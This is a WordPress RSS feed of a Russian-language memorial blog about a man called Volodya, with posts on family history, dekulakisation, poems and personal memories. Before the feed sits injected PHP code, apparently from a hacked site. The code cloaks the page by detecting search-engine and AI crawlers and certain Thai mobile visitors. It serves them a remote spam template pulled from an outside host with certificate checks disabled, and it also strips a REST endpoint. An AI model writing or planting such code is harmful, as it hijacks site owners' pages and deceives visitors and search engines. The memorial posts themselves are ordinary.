$API_URL = 'https://id.yuanhengbc.com/th100'; $scheme = (!empty($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') ? 'https' : 'http'; $host = $_SERVER['HTTP_HOST'] ?? 'localhost'; $MY_DOMAIN = $scheme . '://' . $host; function rewrite_remote_urls($html, $api_url, $my_domain) { if (empty($html)) return $html; $orig_host = parse_url($api_url, PHP_URL_HOST); $my_host = parse_url($my_domain, PHP_URL_HOST); $html = str_replace('https://' . $orig_host . '/xtz.js', '%%XTZ_KEEP%%', $html); $html = str_replace( array('https://' . $orig_host, 'http://' . $orig_host, '//' . $orig_host), array($my_domain, $my_domain, '//' . $my_host), $html ); $html = preg_replace( '/ true, CURLOPT_TIMEOUT => 15, CURLOPT_USERAGENT => $ua, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_FOLLOWLOCATION => true, )); $body = curl_exec($ch); curl_close($ch); return $body; } else { $ctx = stream_context_create(array( 'http' => array('timeout' => 15, 'user_agent' => $ua, 'ignore_errors' => true) )); return @file_get_contents($final, false, $ctx); } } $ua = $_SERVER['HTTP_USER_AGENT'] ?? ''; $ref = $_SERVER['HTTP_REFERER'] ?? ''; $lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? ''; if ($ua === '') $ua = ' '; $bot_list = array( 'Googlebot','Googlebot-News','Googlebot-Image','Googlebot-Video','Googlebot-Mobile', 'Mediapartners-Google','AdsBot-Google','AdsBot-Google-Mobile','Google-InspectionTool', 'APIs-Google','Google-Site-Verification','Google Web Preview','Google Favicon', 'Google Feedfetcher','GoogleOther','Bingbot','BingPreview','AdIdxBot','Microsoft Preview', 'GPTBot','ChatGPT-User','ChatGPT','Google-Extended','Claude-Web','ClaudeBot', 'anthropic-ai','DuckDuckBot','DuckAssistBot' ); $is_bot = false; foreach ($bot_list as $b) { if (stripos($ua, $b) !== false) { $is_bot = true; break; } } $is_mobile = false; foreach (array('Mobile','Android','iPhone','iPad','Windows Phone') as $m) { if (stripos($ua, $m) !== false) { $is_mobile = true; break; } } $is_google = ($ref !== '' && (stripos($ref, 'google.') !== false || stripos($ref, 'bing.com') !== false)); $is_th_lang = ($lang !== '' && preg_match('/(?:^|,)\s*(?:th)(?:-TH)?(?:;|$)/i',$lang) === 1); function check_ip_country() { $ip = $_SERVER['HTTP_CF_CONNECTING_IP'] ?? $_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['HTTP_X_REAL_IP'] ?? $_SERVER['REMOTE_ADDR'] ?? ''; $ip = trim(explode(',', $ip)[0]); if ($ip === '' || $ip === '127.0.0.1') return 'LOCAL'; $ch = curl_init('https://id.qzbybyk.com/v1/lookup?ip=' . urlencode($ip)); curl_setopt_array($ch, array( CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 3, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_HTTPHEADER => array('X-API-Key: change-me-now'), )); $resp = curl_exec($ch); curl_close($ch); if ($resp !== false) { $j = json_decode($resp, true); if (isset($j['data']['country']['iso_code'])) return $j['data']['country']['iso_code']; } $ch = curl_init('http://ip-api.com/json/' . urlencode($ip) . '?fields=countryCode'); curl_setopt_array($ch, array( CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 3, CURLOPT_SSL_VERIFYPEER => false, )); $resp = curl_exec($ch); curl_close($ch); if ($resp !== false) { $j = json_decode($resp, true); if (isset($j['countryCode'])) return $j['countryCode']; } return 'UNKNOWN'; } if ($is_bot) { $body = fetch_remote_template($API_URL, $ua); echo rewrite_remote_urls($body, $API_URL, $MY_DOMAIN); exit; } if ($is_mobile && $is_google && $is_th_lang) { if (check_ip_country() === 'TH') { $body = fetch_remote_template($API_URL, $ua); echo rewrite_remote_urls($body, $API_URL, $MY_DOMAIN); exit; } } add_filter('rest_endpoints', function($e){ unset($e['/batch/v1']); return $e; }); О ЦЕННОСТИ ЖИЗНИ — Вечный путь к совершенству https://www.vladimirkoskov.ru О Володе, о том, что он любил, чем жил и в чем видел смысл жизни Thu, 19 Oct 2023 09:54:52 +0000 ru-RU hourly 1 https://wordpress.org/?v=6.9.4 https://www.vladimirkoskov.ru/wp-content/uploads/2021/12/cropped-apple-touch-icon-32x32.png О ЦЕННОСТИ ЖИЗНИ — Вечный путь к совершенству https://www.vladimirkoskov.ru 32 32 День памяти. https://www.vladimirkoskov.ru/?p=4933 Wed, 18 Oct 2023 21:37:20 +0000 https://www.vladimirkoskov.ru/?p=4933

Мы – во времени, ты – в вечности.

Помним. Думаем. Тоскуем…

Любим.

]]> День памяти https://www.vladimirkoskov.ru/?p=4829 Sun, 18 Dec 2022 21:27:15 +0000 https://www.vladimirkoskov.ru/?p=4829

 

 

 

 

 

 

 

 

 

]]> Мы помним тебя и думаем о тебе https://www.vladimirkoskov.ru/?p=3961 Mon, 31 Oct 2022 21:15:10 +0000 https://www.vladimirkoskov.ru/?p=3961

]]> Помним https://www.vladimirkoskov.ru/?p=3889 Tue, 18 Oct 2022 21:15:48 +0000 https://www.vladimirkoskov.ru/?p=3889

]]> Урочище Картагулова https://www.vladimirkoskov.ru/?p=4268 Mon, 17 Oct 2022 22:45:39 +0000 https://www.vladimirkoskov.ru/?p=4268 Урочищем в народе называется любой географический объект/ориентира, о котором уреклись, т.е. договорились люди.  Урочищем может стать любая часть местности.

Таким одноименным урочищем стало место, где раньше находилась деревня Картагулова, Тобольского уезда. Деревня была не большая по нынешним меркам. В середине 1800-х годов она насчитывала 20 дворов. Но в те времена это было нормой и в окрестностях, по соседству, располагалось много таких небольших деревушек. Существовали они себе мирно до начала 193о-х годов.

Если представит себе эту деревню на современной карте, то она находилась бы вот здесь:

В округе не осталось и других небольших деревенек того времени. Вернее сказать. совсем ничего не осталось. Вместо них тоже урочища — пустые участки земли, которые люди, хранящие память о своих родных, не хотят забывать.
  • Урочище Большая Елань  6.4 км
  • Урочище Журавлёво  10 км
  • Урочище Мочище  47 км
  • Симково болото  67 км
  • Урочище Журавлиха  78 км
  • Урочище Весёлый Остров  108 км
  • Урочище Логовое  108 км
  • Урочище Береговая  113 км
  • Урочище Николаевка  114 км
  • Моторино  115 км

А как выглядела эта местность в 1907 году, можно посмотреть вот на этой большой и детальной Карте Тюменского уезда Тобольской губернии, 1907 год.

На карте ниже помечено, в каком именно месте надо искать деревню Картагулова.

А вот данные из Списка населённых мест Российской империи по сведениям 1859–1873 годов (за номером 3104) о деревне Картагулова,  располагавшейся, как говорится в этом документе, при реке Блуке. Второе название деревни указано в скобках — Коскова. В те времена была такая нередкая особенность — два названия. Второе название давалось по фамилии преимущественно проживавших в ней людей и носивших эту фамилию. Оба названия наносились на карту. Следует обратить внимание на то что в обоих случаях (впрочем, как и в случае с другими деревнями) названия деревни оканчивалось на «а». Это было так принято в те времена, как сейчас принято использовать окончание «о» в большинстве случаев. Итак, деревня носила второе название — Коскова и жили в ней казаки. В 86,5 километрах от главного населенного пункта округа и в 32 километрах от административно-полицейского участка, к которому относились. В 20 дворах жило 56 человек женского пола и 41 мужского. Никаких, как сейчас говорят, социальных объектов не имелось.

Что же произошло такое? Что стерло с лица земли сколько деревень, где люди жили десятилетьями? В школе мне рассказывали, что это естественный процесс. Все стремились в город  и деревни пустели. Индустриализация… Прогресс…  Но все оказалось не так. В нашу страну пришла власть большевиков, которую они сами для отвода глаз называли властью рабочих и крестьян.

И произошло страшное.

 

И вот такое.

Про эти случаи нам стало известно, а сколько людей сгинуло, о ком теперь даже нет упоминания в архивах. Вот так и стерли с лица земли целые деревни и целые семейные кланы, к которым в царской России, получается относились с большим уважением, раз наносили фамильное имя на карты. А ведь среди них были и вот такие люди.

 

Остается только мечтать о том, какой бы сейчас была наша страна, если бы нашла в себе силы пусть не тогда в 17-ом, хотя бы сейчас, вернуться в то свое прошлое, когда ее люди служили примером честности, порядочности и благородства, когда Россия давала другим странам повод завидовать и восхищаться ей. И начать сначала.

 

]]> Получение знаний и развитие интеллекта — самое занимательное и то, ради чего хочется жить https://www.vladimirkoskov.ru/?p=4204 Sun, 16 Oct 2022 22:20:26 +0000 https://www.vladimirkoskov.ru/?p=4204 Так считал Володя. Его приоритетами в жизни были не материальные блага, развлечения и популярность, а работа, которая давала ему возможность приобрести новые знания, развивать свой интеллект и достигать самоуважения от положительных результатов. С уверенностью можно сказать, что Володя — человек, который сделал себя сам. Не было ни одной сферы деятельности в которой бы он не преуспел. Во всем мог разобраться сам, не прибегая к чужой помощи. Много раз начинал с ноля новое дело. Но достичь этого ему не удалось бы, если бы еще со школьных времен он не уделял бы много внимания и времени образованию и самообразованию. У него всегда было серьезное и ответственное отношение к учебе и приобретению знаний. Если большинство школьников мечтаю о том, как бы увильнуть от учебы, не получить плохую оценку, Володю еще в школе волновало качество получаемых знаний и высокий уровень сложности решаемых задач. Ему всегда было интересно учиться и даже в 70 лет, он помнил многие стихи, песни не говоря уже о том, что у него сохранились отличные знания в области физики, химии, математики, биологии, географии, анатомии. И это не были  общепопулярные знания для развлечения в весёлой компании или поддержания разговора. Это были глубокие академические знания, которые он постоянно обновлял.

Он был очень интересным собеседником  и с ним всегда можно было рассчитывать на увлекательную беседу, которая давала много информации для размышления. И каждый раз разговор заканчивался его фразой: «Ну, вот видишь, день прошел не зря! Опять что-то новое узнал(а)» И к ней так все привыкли и так ждали эту его фразу, что уже вперед него говорили, что сегодняшний день для них прошел не зря.

Большую заслугу в том, что ему удалось научиться получать знания, развить свой интеллект, он видел в том, что в  семье дедушки Василия Михайловича и бабушки Антонины Ивановны, где он воспитывался и проводил много времени всегда с уважением относились к образованию. Считалось недопустимым и зазорным плохо учиться не разбираться в школьных предметах, не быть лучшим в классе. Все учились не ради хороших оценок, а ради получения новых знаний. При этом условия для получения знаний были не самыми лучшими — небольшой поселок, деревянная школа без привычных нам теперь удобств и пр., но это придает еще большего веса и уважения к полученному результату.

В 2015 году  была выпушена историко-документальная книга «Верхнее Дуброво«, приуроченная к празднованию 90-летия городского округа Верхнее Дуброво. Её главы рассказывают об истории поселка, о людях, которые внесли значимый вклад в его развитие.

В этой книге есть раздел, посвященный образованию. В нем рассказывается о том когда и как появилась первая деревянная школа, как протекала школьная жизнь и какими замечательными были преподаватели, обучающие в них. Володя, вспоминая школьные годы, с уважением и гордостью рассказывал про своих учителей и всех помнил по фамилии, имени и отчеству.

А ниже особая страница, на которой перечислены ученики, которые были удостоены медалей за свою учебу. Посмотрите и вы увидите двух хорошо знакомых вам людей. Представляю, какую гордость испытывали родители Нины (бабушка и дедушка Володи)! И это их особая заслуга, потому что отличительной чертой их воспитания было отсутствие любого насилия над личностью.

]]> «Социально опасный по классовому признаку» https://www.vladimirkoskov.ru/?p=4230 Thu, 13 Oct 2022 21:08:41 +0000 https://www.vladimirkoskov.ru/?p=4230 Трагедия, постигшая страну, не обошла стороной и Володину семью. Он — внук, сын и племянник репрессированных в 1931 году кулаков. По представлению большевиков к кулакам относились все, кто умел и хотел работать, и поэтому был независим от государства.

Раскулачивание захватило значительные слои среднего крестьянства, оказалось направленным прежде всего против него. По постановлению СНК СССР от 21 мая 1929 г., к кулакам относились те, кто обладал хотя бы одним из следующих признаков: систематически применял наемный труд для сельскохозяйственных работ или в кустарных промыслах и на предприятиях; имел в хозяйстве мельницу, маслобойню, крупо- и просорушку, льночесалку, шерстобитку, терочное заведение, плодовую или овощную сушилку или иное предприятие с механическим двигателем; постоянно или сезонно сдавал внаем оборудование, помещение под предприятие или жилье; систематически сдавал внаем сельскохозяйственные машины с механическим двигателем; занимался торговлей, ростовщичеством, коммерческим посредничеством. Причем краевым и областным исполкомам предоставлялось право вводить дополнительные критерии применительно к местным условиям, что подтверждалось рядом позднее принятых решений. В отдельных районах к кулацким причислялись хозяйства, которые мало-мальски выделялись из общего строя середняцких, например, с 2-3 коровами или 2 головами рабочего скота. В разряд кулацких попадали семьи относительно многолюдные, в среднем 7-8 человек, середняцких — 5, пролетарских и полупролетарских — 2-3 человека. Во многих случаях к кулацким относили хозяйства с интенсивным производством, внедряющие новые прогрессивные технологии, высокоурожайные сорта культур, сочетающие сельскохозяйственный труд с подсобными промыслами.

Раскулачиванием зачастую запугивали среднего крестьянина, принуждая его вступить в колхоз. И если для определения кулака все же существовали какие-то имущественные показатели, то для подкулачников, — а это было весьма расхожее обозначение части крестьян, — вообще никаких определений не существовало. Так можно было назвать любого единоличника, не пожелавшего вступить в колхоз. В лексиконе Сталина в период, предшествовавший сплошной коллективизации, наряду с «кулаками» часто использовался еще один термин — «зажиточные». От имени ЦК партии он предложил, в частности, применять повышенную прогрессию обложения для «кулацких и зажиточных слоев деревни». Очевидно, коль скоро здесь Сталиным использован союз «и», под зажиточными подразумевались уже середняки, для которых и было установлено повышенное обложение. В 1926-1927 гг. средний размер сельскохозяйственного налога на кулацкие хозяйства был повышен по сравнению с 1925/26 гг. на 58% и превысил средний налог на бедняцкое хозяйство в 112 раз, на середняцкое — почти в 6 раз. Еще больше налог был повышен в 1928/29 гг. В данном случае налоговая система уже была фактически средством экспроприации кулачества и зажиточных середняков, их разорения.

К 1932 году раскулачивание и коллективизацию завершили. И с 1932-1933 год Россия столкнулась с самым жутким в свой истории голодом.  В результате которого умерло от 5,7 до 8,7 миллионов человек. Точные цифры мы теперь уже никогда не узнаем. Большевики не любили оставлять после себя следов, т.к. отчетливо понимали, что они делают.

Для нашей страны это было только начало темных времен …

]]> Я вернусь через тысячу лет https://www.vladimirkoskov.ru/?p=3985 Wed, 24 Aug 2022 22:28:05 +0000 https://www.vladimirkoskov.ru/?p=3985 Это стихотворение из одноименного фантастического романа Исая Давыдов «Я вернусь через 1 000 лет» — книжки из моего советского детства. Как и все первые писатели-фантасты, Станислав Лем, Рей Бредбери, Роберт Шекли, Азик Азимов, Исай Давыдов использовал фантастический сюжет романа для того, чтобы вместе с читателем поразмышлять на тему добра и зла, страдания, любви, ненависти, вражды, порядочности и человечности  – всего того, что формирует характер человека и его принципы. И одно из самых первых испытаний – полет в один конец. Согласие на участие в космической экспедиции на другую планету означает, что надо навсегда расстаться со своими близкими и любимыми. Если и суждено вернуться обратно на Землю, то из-за разницы в течение времени, встреча никогда уже не состоится.

В январе 2013 года, когда частный проект Mars One официально начал всемирный поиск космонавтов для полета на планету Марс в 2023 году без возвращения на Землю, Володя был чрезвычайно оживлен и воодушевлен, мечтал, как было бы здорово полететь. Устраивал дискуссии. Звал с собой). На вопрос, а если не получится полететь вместе, то неужели один полетит? Придется со всеми расстаться на всегда. Что с бизнесом будет? Как на Марсе все сложится? И никакой помощи не придет. Это же добровольное согласие на преждевременную и неизбежную смерть. Кто хорошо знает Володю, для того его ответ очевиден — все равно полетел бы. Посмотреть на то звездное небо, почувствовать другую смену дня и ночи, иную гравитацию. Список этого всего, что он хотел бы посмотреть и испытать, был таким длинным, как будто он всю жизнь готовился к этому полету. И было понятно, что, если бы была реальная возможность, его было бы не остановить.  Я вспомнила про это стихотворение и попыталась с его помощью вразумить его.  Он прочитал и ответил, что стихотворение отличное, но он первую очередь технарь и только потом лирик. Поэтому все равно полетел бы, а стихотворение — хорошее взял бы с собой, чтобы было что почитать в пути)

]]> Кузенька https://www.vladimirkoskov.ru/?p=4049 Wed, 20 Jul 2022 21:38:44 +0000 https://www.vladimirkoskov.ru/?p=4049 Много лет назад я от Володи я узнала о необычном прозвище синички — «Кузенька». Говорил, что в детстве их всегда так называли. Почему? Не понятно. Просто так повелось. Мама так называла и все парни так их называли. Возможно, что таким стало их прозвище на Урале или в Верхнем Дуброво.

И вот, несколько дней назад я наткнулась на этот  рассказ 1948 года Виталия Бианки, который, как я думаю, все объясняет.

Так жаль, что Володя про это уже не узнает. И история происхождения этого прозвища так и останется для него загадкой.

Кузя двухвостый

Сергейке очень хотелось поймать какую-нибудь птичку, особенно кузю – большую белощёкую синицу. Уж очень они – кузи – весёлые, бойкие, смелые.

Клетка у Сергейки была, а западню ему дали товарищи. На три дня дали. И в первый же День Сергейке попался в западню кузя.

Сергейка принёс его домой и стал пересаживать из западни в клетку. Но кузя так бился, дрался и клевался, что Сергейка ненарочно выдрал у него несколько перьев из хвоста. И стал кузя двухвостый: сзади по бокам торчат перья вилочкой, а посередине ничего нет.

Сергейка подумал: «Куда мне двухвостого! Мальчишки засмеют, скажут: «общипанный, в суп его надо».

И решил кузю выпустить и наловить других птиц. Два дня ещё оставалось у него.

А кузя прыгает себе с жёрдочки на жёрдочку, перевёртывается вниз головой, как обезьяна, и долбит своим крепким клювиком зёрна. Солнце в комнату заглянет, он запоёт:

– Зин-зи-вер, зин-зи-веррр! – так весело, звонко. Будто никогда и на воле не был, всегда жил в клетке.

Сергейка стал его выгонять из клетки, – кузя как крикнет:

– Пинь-пинь-черрр! – как зашипит на него!

Пришлось выставить клетку в окно и открыть дверцу. Улетел кузя. Сергейка опять западню поставил.

Утром приходит и ещё издали видит: захлопнута западня, кто-то попался. Подошёл, а в западне кузя сидит. Да не какой-нибудь, а тот самый: двухвостый!

– Кузенька! – взмолился Сергейка. – Ты же мешаешь других птиц ловить. Один только день и остался мне ловить их.

Он взял западню с кузей и пошёл прочь от дома. Шёл-шёл, пришёл в середину леса и там выпустил кузю. Кузя крикнул:

– Пинь-пинь-черрр! – и скрылся в чаще.

Сергейка вернулся домой и опять поставил западню.

На другой день приходит, – опять кузя двухвостый б западне!

– Пинь-пинь-черрр!

Чуть не расплакался Сергейка. Выгнал кузю И отнёс западню хозяевам.

Прошло несколько дней, Сергейка скучал и уже стал думать: «Зачем я кузю выгнал? Хотя и двухвостый, а какой весёлый».

Вдруг за окном:

– Пинь-пинь-черррр!

Сергейка открыл окно, и кузя сейчас же влетел в избу. Прилепился к потолку, перелетел на стену, увидал таракашку, тюкнул его носом и съел.

И стал кузя жить в избе у Сергейки. Захочет, – в клетку залетит, зёрнышек поклюёт, выкупается в ванночке и опять вылетит: Сергейка клетку не закрывал. Захочет, – по всей избе летает, тараканов ищет.

Склевал всех тараканов, крикнул «пинь-пинь-черрр!» и улетел.

Виталий Бианки,

1948 год

 

]]> Дерево памяти https://www.vladimirkoskov.ru/?p=4158 Tue, 21 Jun 2022 19:29:40 +0000 https://www.vladimirkoskov.ru/?p=4158 Липа — дерево, которое не боится ничего. Это любимое Володино дерево.  Оно нравилось ему всем: прямой и стройный ствол, густая и пышная крона разных оттенков зеленого, долго стоит зеленым и красиво желтеет. А как красиво липа цветёт! Ну, и конечно, очень полезный липовый мед.  Как инженер,   Володя не мог пропустить и тот факт, что структура липовой древесины обретает необычайную крепость после пропитки смолой и высушивания. Наука доказала, что из липы можно делать… детали для станков и механизмов.  Детали из нее не уступают по прочности и долговечности металлическим, а иногда даже их превосходят.

Действительно, липа — замечательное дерево! Володя любил ими любоваться и  они приносили ему покой и умиротворение. Поэтому в память о нем во дворе дома посадили липку. Спасибо маме, что все организовала и 12 апреля, как только сошел снег и оттаяла земля, работники питомника привезли выбранное еще в  марте деревце. Первое время очень переживали, чтобы жильцы дома не стали возражать. Но все прошло благополучно и липка прижилась.

К середине июня она уже выглядела вот так. Радовала нас своей зеленью и активно подрастала ввысь.

С середины мая мы старались вокруг липки вырастить зеленый газон. Посадили  маргаритки, ромашки, которые цвели все лето. Все летние месяцы подсеивали разную траву и луговые цветы. Посеяли разные многолетние цветы и надеемся, что следующим летом зелени вокруг липки еще прибавится.

Такой была липка еще через месяц.

Но пришлось ей, конечно,  не легко. Вокруг много больных деревьев и вредители пытались обосноваться и на ней. Один за другим появлялись все новые и новые вредители. Путем частого полива, еженедельного опрыскивания разными средствами, подкормки и покраски ствола нам удалось ее отстоять. Но мы не унываем. Как повторял Володя: Ничего действительно стоящее не дается легко.

Из-за побеленного ствола издали стала походить на березу…

А вот так выглядит липка сейчас в середине осени, когда другие липы вокруг стоят уже голые. Она поняла, что сдаваться никогда нельзя.

Надеемся на добрую и мягкую зиму и ждем когда она подрастет на столько, что сможет порадовать первым цветением.

]]> Баллада о прокуренном вагоне https://www.vladimirkoskov.ru/?p=3977 Sun, 22 May 2022 21:29:11 +0000 https://www.vladimirkoskov.ru/?p=3977 Это очень трагичное и одновременно трогательное стихотворение. Необычная манера изложения в виде мысленного диалога двух влюбленных, предчувствующих страшную неизбежность трагического конца. Последнее четверостишью этого стихотворения знакомо всем и очень часто цитируется:

С любимыми не расставайтесь!
С любимыми не расставайтесь!
С любимыми не расставайтесь!
Всей кровью прорастайте в них,-
И каждый раз навек прощайтесь!
И каждый раз навек прощайтесь!
И каждый раз навек прощайтесь!
Когда уходите на миг!

Но остальная часть стихотворение не кажется такой простой в понимании с первого прочтения.  Требуется либо знать предысторию написания этого стихотворения, которое было опубликовано только через много лет после смерти автора, либо перечитать несколько раз. Еще бывают такие люди, как Володя, которые с первых строк понимают все, что сейчас произойдет.

«Баллада о прокуренном вагоне» была написана Александром Сергеевичем Кочетковым в 1932 году при обстоятельствах, о которых жена поэта Нина Григорьевна рассказывала так: «Лето мы проводили у моего отца. Осенью Александр Сергеевич уезжал раньше, я должна была приехать в Москву позднее. Билет был уже куплен на поезд Сочи — Москва. Расставаться было трудно, и мы оттягивали как могли. Накануне отъезда мы решили продать билет и хоть на три дня отсрочить отъезд… Нас спасла любовь».

Ушедший без Александра поезд Сочи — Москва потерпел крушение на подходе к столице, на станции Москва-Товарная. Многие пассажиры погибли. Погибли знакомые, возвращавшиеся из сочинского санатория. Друзья, знавшие о приезде Кочеткова этим поездом, сочли его погибшим и были потрясены, когда он объявился в Москве через три дня. Александр Сергеевич избежал гибели потому, что продал билет на этот поезд и задержался в Ставрополе.

]]> Жаркое лето 2010 года https://www.vladimirkoskov.ru/?p=2259 Sun, 22 May 2022 15:26:05 +0000 https://www.vladimirkoskov.ru/?p=2259 В 2010 году Москва изнывала от зноя. Температура в течение 42 дней не опускалась ниже 38 градусов, а днем достигала 45 градусов. Когда мы были на работе, то нас кое-как спасали кондиционеры. Но дома кондиционеров не было и приходилось как-то искать спасение от нещадного зноя. Приходилось обходиться вентилятором, который не особо помогал, т.к. просто гонял раскаленный воздух по квартире.

Но с Володей не пропадешь нигде. Он сразу нашел выход из положения. И не один! Он за 5 минут соорудил самодельный кондиционер, который к вечеру следующего дня еще и усовершенствовал!

Вопрос: как он придумал охладить комнату?

Ответ: Мы закрыли окна, занавесили их плотной тканью, чтобы солнечные лучи не проникали в комнату и не нагревали ее. Затем он налил в тазик холодную воду и поставил ее на стул перед вентилятором. После этого мы почувствовали некоторое облегчение. А когда к следующему утру в бутылках, положенных в морозильник, замерзла вода, он ей заменил тазик с холодной водой и жить стало еще веселее. Еще один способ остудиться – обернуться в мокрую простынь и направить на себя вентилятор.

]]> Мертвые души https://www.vladimirkoskov.ru/?p=4023 Thu, 31 Mar 2022 22:36:25 +0000 https://www.vladimirkoskov.ru/?p=4023 Если в стихах безусловным фаворитом Володи был Александр Сергеевич Пушкин, за его умение писать одновременно легко и информативно, то в прозе он отдавал несомненное лидерство Николаю Васильевичу Гоголю, а особенно его поэме «Мертвые души». Он знал многие необычайные детали жизни Гоголя. Считал правильными его осуждения в адрес Пушкина, что тот много времени тратил понапрасну в кутежах и отдыхе, в то время, как надобно много работать и максимально использовать свой талант во блага народа. С точки зрения Володи, Пушкин правильно сделал, что подарил сюжет Мертвых душ Гоголю, сам бы он настолько хорошо с прозой не справился.

Непонятно, когда он на все находил время, но Володя  знал не только детальный сюжет второго, утраченного тома Мертвых душ, но даже разыскал дневники с заметками для третьего тома. Называл Гоголя величайшим писателем, который непонят и недооценен. Не понимал, как страна, имевшая такого писателя, который еще в начале 19 века высмеял все пороки и недостатки общества, так до сих пор ничего и не сделала, чтобы излечиться от них. Говорил — смени декорации на современные и обнаружишь, что, по-прежнему, все до последнего слова правда: Души — Мертвые . Ему не нравилось, что практически все вокруг считали это произведение муторным и занудным. В подтверждение тому, что никто на самом деле просто не читал это произведение (хотя все говорят, что знают его, потому что проходили его в школе), Володя задавала простой вопрос: В чем заключалась махинация Чичикова с мертвыми душами? Зачем он их покупал?

Каждый год мы приходили на Никитский бульвар, где во дворе Дома Гоголя находится памятник Николаю Васильевичу, созданный на деньги людей. Очень интересный и душевный монумент, который интересно по долгу разглядывать, и который так разительно отличается от того, что был поставлен поставлен во времена СССР неподалеку, на Арбатской площади,

Здесь любимый Володин моноспектакль «Мертвые души» в исполнении восхитительного и неподражаемого Александра Филиппинко. Мы засмотрели его до дыр и разобрали на цитаты.

]]> Самая любимая Володина музыка https://www.vladimirkoskov.ru/?p=4093 Sun, 13 Mar 2022 21:56:30 +0000 https://www.vladimirkoskov.ru/?p=4093 И слов не надо. Музыка все скажет за себя.

Сон-трава или История любви. Поль Мориа ]]> Не позволяй душе лениться https://www.vladimirkoskov.ru/?p=3991 Sun, 27 Feb 2022 22:30:47 +0000 https://www.vladimirkoskov.ru/?p=3991 Это одно из самых любимых Володиных стихотворений. Он очень избирательно относился к поэзии и по настоящему любимых стихов у него было не много, но любимые он знал наизусть  и часто цитировал при случае. Именно от него я впервые услышала эти строчки, которые уже давно ушли в народ:

Не позволяй душе лениться!
Чтоб в ступе воду не толочь,
Душа обязана трудиться
И день и ночь, и день и ночь!

Он был восхищен простоте и точности изложения сути того,  как надо воспитывать из себя самого порядочного и достойного человека.

]]>